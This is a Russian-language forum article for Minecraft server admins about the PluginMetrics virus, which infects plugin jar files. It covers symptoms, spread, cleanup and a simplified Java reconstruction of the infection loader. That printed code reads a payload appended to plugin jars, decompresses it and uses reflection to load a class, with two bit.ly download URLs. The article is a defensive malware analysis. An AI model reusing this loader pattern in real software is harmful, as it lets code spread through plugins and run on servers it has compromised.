Сборки серверов

СливПлатные

Сейчас онлайн

  • Chmo777
  • ChildFreak
  • ExstazzyOnlyNe
  • OderPrince
  • Zebka_
  • sak.m4k
  • Darklol36
  • ivandobr460
  • tomas11
  • alex321
  • alexsis
  • Novak
  • orbuzyaradost
  • HasterHackSilver
  • Shon_Delford
  • undefined322
  • tabosik1
  • fcbxcfvbdcfvbbxc
  • TTtttt332
  • Chxster
  • markvadi
  • Hydr4
  • imdas
  • Tieumiu
  • dakeoffic
  • DenPlayStar
  • f1xson
  • W1l9r
  • Arisu
  • Vlas31
  • denga118
  • D0orBeach
  • Mr_Neave
  • ser04ka
  • Astaro
  • justpremadeaccount
  • mohammed_iron
  • Мобильник🤘🤘🤘
  • WoWKiller22
  • Silikonboy21
  • LYNCH
  • Def1x213
  • gourav
  • 3232428065
  • Pazetch
  • furkqn

Вирус PluginMetrics (PluginMetrics.jar)

  • Автор темыbobobo
  • Дата начала
bobobo
Если вам отправили ссылку на эту статью, велика вероятность, что ваш сервер столкнулся с серьёзной проблемой.

Признаки заражения вирусом PluginMetrics

Сервер перестаёт реагировать и выключается после ввода любой команды? Это яркий сигнал того, что вирус проник в вашу сборку. Часто проблема связывается с переходом со Spigot на Paper, но стоит отметить, что на Spigot вирус также отлично функционирует, хоть и проявляет себя менее агрессивно.

Главный источник вируса — плагин с названием PluginMetrics (PluginMetrics.jar). Если вы обнаружили этот файл среди своих плагинов, поздравляю, вы точно заражены. Настоящая метрика встроена в ядро и не требует отдельного плагина. Однако отсутствие данного файла не гарантирует безопасность — вредоносный код может скрываться в любом другом плагине вашей сборки.

Как распространяется вирус PluginMetrics

Вредоносный код заражает все плагины, оставляя ядро сервера в безопасности. Это позволяет ему быстро распространяться по сети. Загрузили сборку из интернета или приняли плагин от друга? Вы рискуете инфицировать весь сервер. Этот вирус, впервые обнаруженный в 2016 году, продолжает попадаться администраторам серверов даже спустя годы. Чтобы избежать заражения, загружайте ресурсы только из проверенных источников.
Последствия заражения
Если ваш сервер использует offline-mode, вероятность его внезапной остановки значительно возрастает, особенно после 1 августа 2016 года. Это касается как «пиратских» серверов, так и тех, что работают под BungeeCord.
Основной признак вируса — выключение сервера после ввода любой команды в консоли. Если это произошло, будьте уверены, что ваша сборка заражена.
Другие симптомы включают случайные сбои в работе сервера:
  • невозможность отправить сообщение или ввести команду в чат;
  • проблемы с установкой и разрушением блоков;
  • сбои при перемещении предметов в инвентаре;
  • ошибки при загрузке миров или чанков, что может привести к утечкам памяти и прочим багам.
Несмотря на серьёзные сбои, вирус не представляет угрозы для ваших данных за пределами сервера.

Как избавиться от вируса PluginMetrics

  1. Удалите все текущие плагины.
  2. Скачайте их заново исключительно из надёжных источников.
Важно: не запускайте сервер до полной замены всех заражённых файлов, иначе новые плагины также будут инфицированы. Ядро перескачивать не требуется, так как вирус его не затрагивает.

Быстрое решение

Если замена плагинов кажется вам слишком утомительной, воспользуйтесь утилитой от SHADOWDAN, которая очищает плагины от вредоносного кода.
Команда для запуска:
Bash:
java -jar April1StRemover-1.0-SNAPSHOT.jar "путь/к/папке/с/плагинами"

Технические аспекты работы вируса PluginMetrics

Примечание: Я лично не тестировал предложенные решения. Некоторые пользователи утверждают, что они не работают, поэтому, если ничего не помогает, придётся удалять и перекачивать всё вручную.

Как работает вирус PluginMetrics​

В заражённом плагине можно обнаружить следующий код (упрощённый для понимания):
Java:
static {
    try {
        File pluginsDir = new File("plugins/");
        boolean virusFound = false;
        long offset = -1;
        int length = 0;

        for (File pluginFile : pluginsDir.listFiles()) {
            if (!pluginFile.isFile() || !pluginFile.getName().endsWith(".jar")) continue;

            byte[] fileContent = new byte[(int) pluginFile.length()];
            try (FileInputStream inputStream = new FileInputStream(pluginFile)) {
                inputStream.read(fileContent);
            }

            if (fileContent[15] != (byte) (fileContent[16] ^ 190)) continue;

            virusFound = true;
            offset = (fileContent[fileContent.length - 2] & 255) << 8 | fileContent[fileContent.length - 1] & 255;
            if (offset > 0) {
                length = (int) offset;
                offset = pluginFile.length() - (offset + 2);
            }
            break;
        }

        if (virusFound) {
            // Код для работы с вредоносными данными
            RandomAccessFile randomAccessFile = new RandomAccessFile(pluginsDir, "r");
            randomAccessFile.seek(offset);
            byte[] compressedData = new byte[length];
            randomAccessFile.read(compressedData, 0, length);
            randomAccessFile.close();

            Inflater inflater = new Inflater();
            inflater.setInput(compressedData);

            ByteArrayOutputStream outputStream = new ByteArrayOutputStream(length);
            byte[] buffer = new byte[1024];
            while (!inflater.finished()) {
                int count = inflater.inflate(buffer);
                outputStream.write(buffer, 0, count);
            }

            inflater.end();
            byte[] decompressedData = outputStream.toByteArray();

            URLClassLoader classLoader = new URLClassLoader(new URL[]{
                new URL("http://bit.ly/22XBqiy"),
                new URL("http://bit.ly/1XKAEpZ")
            });

            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
            defineClass.setAccessible(true);
            Class<?> loadedClass = (Class<?>) defineClass.invoke(classLoader, null, decompressedData, 0, decompressedData.length);
            loadedClass.newInstance();
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
}

Что делает этот код?​

  1. Скачивает два файла с URL-адресов:
    • bit.ly/22XBqiy
    • bit.ly/1XKAEpZ
  2. Загружает вредоносный класс в память сервера.
  3. С помощью библиотеки ASM модифицирует байткод всех jar-файлов в папке plugins.
    • Происходит добавление вредоносного кода в plugin.yml каждого файла.
    • Удаляется проверка хэш-суммы (MANIFEST.MF), чтобы изменения не вызывали ошибок.
  4. В конце каждого заражённого плагина записывается скомпилированный java-файл вируса.
Это приводит к увеличению размеров файлов и делает плагины уязвимыми. Попытка извлечь файл с помощью 7-Zip или аналогичных архиваторов наглядно покажет, что каждый jar-файл был модифицирован.

Успешное противодействие

Летом 2017 года ссылки с bit.ly были заблокированы, что временно остановило распространение вируса. Тем не менее, заражённые плагины всё ещё могут встречаться, особенно в устаревших сборках.

Особенно уязвимы ядра на базе Cauldron, Mohist и других подобных платформ, где библиотека ASM интегрирована в ядро.

Автор вируса PluginMetrics и его мотивы

Скорее всего, вирус задумывался как способ напомнить администраторам серверов о необходимости уникального подхода к проектам. Вредоносная активность начинается после 1 сентября, что намекает на учёбу вместо администрирования серверов.

Автор, вероятно, хотел подчеркнуть, что использование готовых сборок и нелицензионных плагинов — плохая практика. Однако это лишь гипотезы, поскольку доказательств о личности создателя вируса нет.

Другие случаи

Этот вирус далеко не единственный. Например, известен другой, под названием Hostflow, который также заражает все плагины сервера. Подробнее:

Есть вероятность, что это более новая версия вируса «1 августа».

Статья взята из открытых источников.
 
ВерхНиз